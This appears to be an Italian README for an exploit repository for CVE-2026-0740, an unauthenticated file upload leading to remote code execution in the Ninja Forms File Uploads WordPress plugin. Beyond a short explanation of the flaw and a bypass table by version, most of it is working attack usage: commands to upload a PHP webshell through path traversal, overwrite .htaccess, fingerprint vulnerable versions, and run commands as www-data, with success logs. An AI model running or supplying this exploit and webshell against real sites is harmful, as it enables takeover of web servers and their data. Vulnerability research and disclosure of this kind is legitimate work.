
Ninja Forms File Uploads <= 3.3.26 - Caricamento arbitrario di file non autenticato verso RCE (CVE-2026-0740)
Exploit per CVE-2026-0740 scoperto da Selim Lanouar (whattheslime).
Per un'analisi tecnica completa, leggi l'articolo completo sul blog di Lexfo.
Questo repository è fornito esclusivamente a scopi di ricerca e difesa della sicurezza.
L'autore non si assume alcuna responsabilità per un uso improprio di queste informazioni.
Il plugin Ninja Forms - File Uploads per WordPress è vulnerabile a un Caricamento File Arbitrario Non Autenticato che porta a Esecuzione di Codice Remoto in tutte le versioni fino alla 3.3.26 inclusa.
La vulnerabilità è stata originariamente scoperta e segnalata sulla versione 3.3.23. Lo sfruttamento è semplice fino alla versione 3.3.24 (nessuna validazione sul nome del file di destinazione). Le versioni 3.3.25 e 3.3.26 hanno introdotto patch parziali successive, ma il problema è stato risolto completamente solo nella versione 3.3.27.
La catena di vulnerabilità è la seguente:
nf_fu_get_new_nonce con un field_id arbitrario.nf_fu_upload valida l'estensione del file caricato (es. image.jpg), ma consente al client di sovrascrivere il nome del file di destinazione tramite un parametro POST (image_jpg).move_uploaded_file() senza una corretta sanificazione, consentendo estensioni arbitrarie e path traversal (../).| Vettore / Estensione | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
Path traversal (../) | PASS | - | - | - |
.php | PASS | - | - | - |
.phtml, .phar | PASS | PASS | - | - |
.pht | PASS | PASS | PASS | - |
.html, .svg, .js | PASS | PASS | PASS | - |
Consulta il post completo sul blog per la tabella completa delle estensioni e l'analisi tecnica approfondita.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
Il file verrà scritto in wp-content/uploads/ninja-forms/tmp/test.txt.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
Il file verrà scritto in wp-content/webshell.php.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Rileva la versione
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Scrivi la webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Carica
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Esegui i comandi
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)